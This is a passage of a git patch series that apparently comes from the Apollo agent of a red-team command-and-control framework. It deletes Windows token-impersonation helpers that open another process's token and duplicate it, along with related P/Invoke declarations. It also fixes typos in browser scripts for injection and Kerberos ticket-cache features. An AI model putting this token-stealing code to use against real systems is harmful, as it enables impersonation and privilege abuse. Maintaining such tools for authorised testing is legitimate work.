procs[0].Handle; - - if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out SafeTokenHandle hTok)) - throw new Win32Exception(Marshal.GetLastWin32Error()); - - using var baseTok = new AccessToken(hTok); - - return baseTok.Duplicate( - tokenType: TokenType.TokenImpersonation, - access: TokenAccessLevels.MaximumAllowed, - level: TokenImpersonationLevel.Impersonation - ); - } - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool LookupAccountSid( - string lpSystemName, - IntPtr Sid, - StringBuilder Name, - ref int cchName, - StringBuilder ReferencedDomainName, - ref int cchReferencedDomainName, - out int peUse); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool LookupPrivilegeNameW( - string? lpSystemName, - ref LUID lpLuid, - StringBuilder? lpName, - ref int cchName - ); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool OpenThreadToken( - IntPtr ThreadHandle, - uint DesiredAccess, - bool OpenAsSelf, - out SafeTokenHandle TokenHandle - ); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool OpenProcessToken( - IntPtr ProcessHandle, - uint DesiredAccess, - out SafeTokenHandle TokenHandle - ); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool DuplicateTokenEx( - SafeTokenHandle hExistingToken, - TokenAccessLevels dwDesiredAccess, - IntPtr lpTokenAttributes, - TokenImpersonationLevel ImpersonationLevel, - TokenType TokenType, - out SafeTokenHandle phNewToken - ); - - [DllImport("kernel32.dll")] - private static extern IntPtr GetCurrentThread(); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool GetTokenInformation( - SafeTokenHandle TokenHandle, - TokenInformationClass TokenInformationClass, - IntPtr TokenInformation, - int TokenInformationLength, - out int ReturnLength - ); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern IntPtr GetSidSubAuthority(IntPtr pSid, int nSubAuthority); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - private static extern bool LogonUserW( - string lpszUsername, - string lpszDomain, - string lpszPassword, - LogonType dwLogonType, - LogonProvider dwLogonProvider, - out SafeTokenHandle phToken - ); - - private const uint TOKEN_ALL_ACCESS = 0xF01FF; - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/SafeTokenHandle.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/SafeTokenHandle.cs deleted file mode 100644 index 3471533e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/SafeTokenHandle.cs +++ /dev/null @@ -1,24 +0,0 @@ -using Microsoft.Win32.SafeHandles; -using System; -using System.Runtime.InteropServices; - -namespace ApolloInterop.Classes.Impersonation -{ - public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid - { - public SafeTokenHandle() : base(ownsHandle: true) { } - - public SafeTokenHandle(IntPtr handle) : base(true) - { - SetHandle(handle); - } - - protected override bool ReleaseHandle() - { - return CloseHandle(handle); - } - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool CloseHandle(IntPtr hObject); - } -} \ No newline at end of file From 8aef29695ed87f089f48328ba9ee376958282102 Mon Sep 17 00:00:00 2001 From: Jack Ullrich Date: Wed, 11 Mar 2026 15:58:44 -0400 Subject: [PATCH 5/6] Remove stale dll helper from csproj --- Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj index 251e9024..d461f915 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj @@ -37,10 +37,5 @@ - - - - - - + From f097bf97a998668866a3d9adddd3e846c743a3e8 Mon Sep 17 00:00:00 2001 From: Jack Ullrich Date: Thu, 12 Mar 2026 09:03:50 -0400 Subject: [PATCH 6/6] Oldest typo in the game --- .../apollo/mythic/browser_scripts/get_injection_techniques.js | 2 +- Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js | 2 +- .../apollo/mythic/browser_scripts/ticket_cache_extract.js | 2 +- .../apollo/apollo/mythic/browser_scripts/ticket_cache_list.js | 2 +- .../apollo/apollo/mythic/browser_scripts/ticket_store_list.js | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js index b4701e4b..00900642 100644 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js +++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js @@ -52,6 +52,6 @@ function(task, responses) { }; } else { // this means we shouldn't have any output - return { "plaintext": "Not response yet from agent..." } + return { "plaintext": "No response yet from agent..." } } } diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js index 27783fff..6775fe56 100644 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js +++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js @@ -52,6 +52,6 @@ function(task, responses){ }]}; }else{ // this means we shouldn't have any output - return {"plaintext": "Not response yet from agent..."} + return {"plaintext": "No response yet from agent..."} } } \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js index f220f2ed..801c438c 100644 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js +++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js @@ -45,6 +45,6 @@ function(task, responses) { } // this means we shouldn't have any output - return { "plaintext": "Not response yet from agent..." } + return { "plaintext": "No response yet from agent..." } } diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js index 8ddb27f0..b8759b1c 100644 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js +++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js @@ -93,6 +93,6 @@ function(task, responses) { } // this means we shouldn't have any output - return { "plaintext": "Not response yet from agent..." } + return { "plaintext": "No response yet from agent..." } } diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js index d1e38993..c93abc7b 100644 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js +++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js @@ -73,6 +73,6 @@ function(task, responses) { } // this means we shouldn't have any output - return { "plaintext": "Not response yet from agent..." } + return { "plaintext": "No response yet from agent..." } }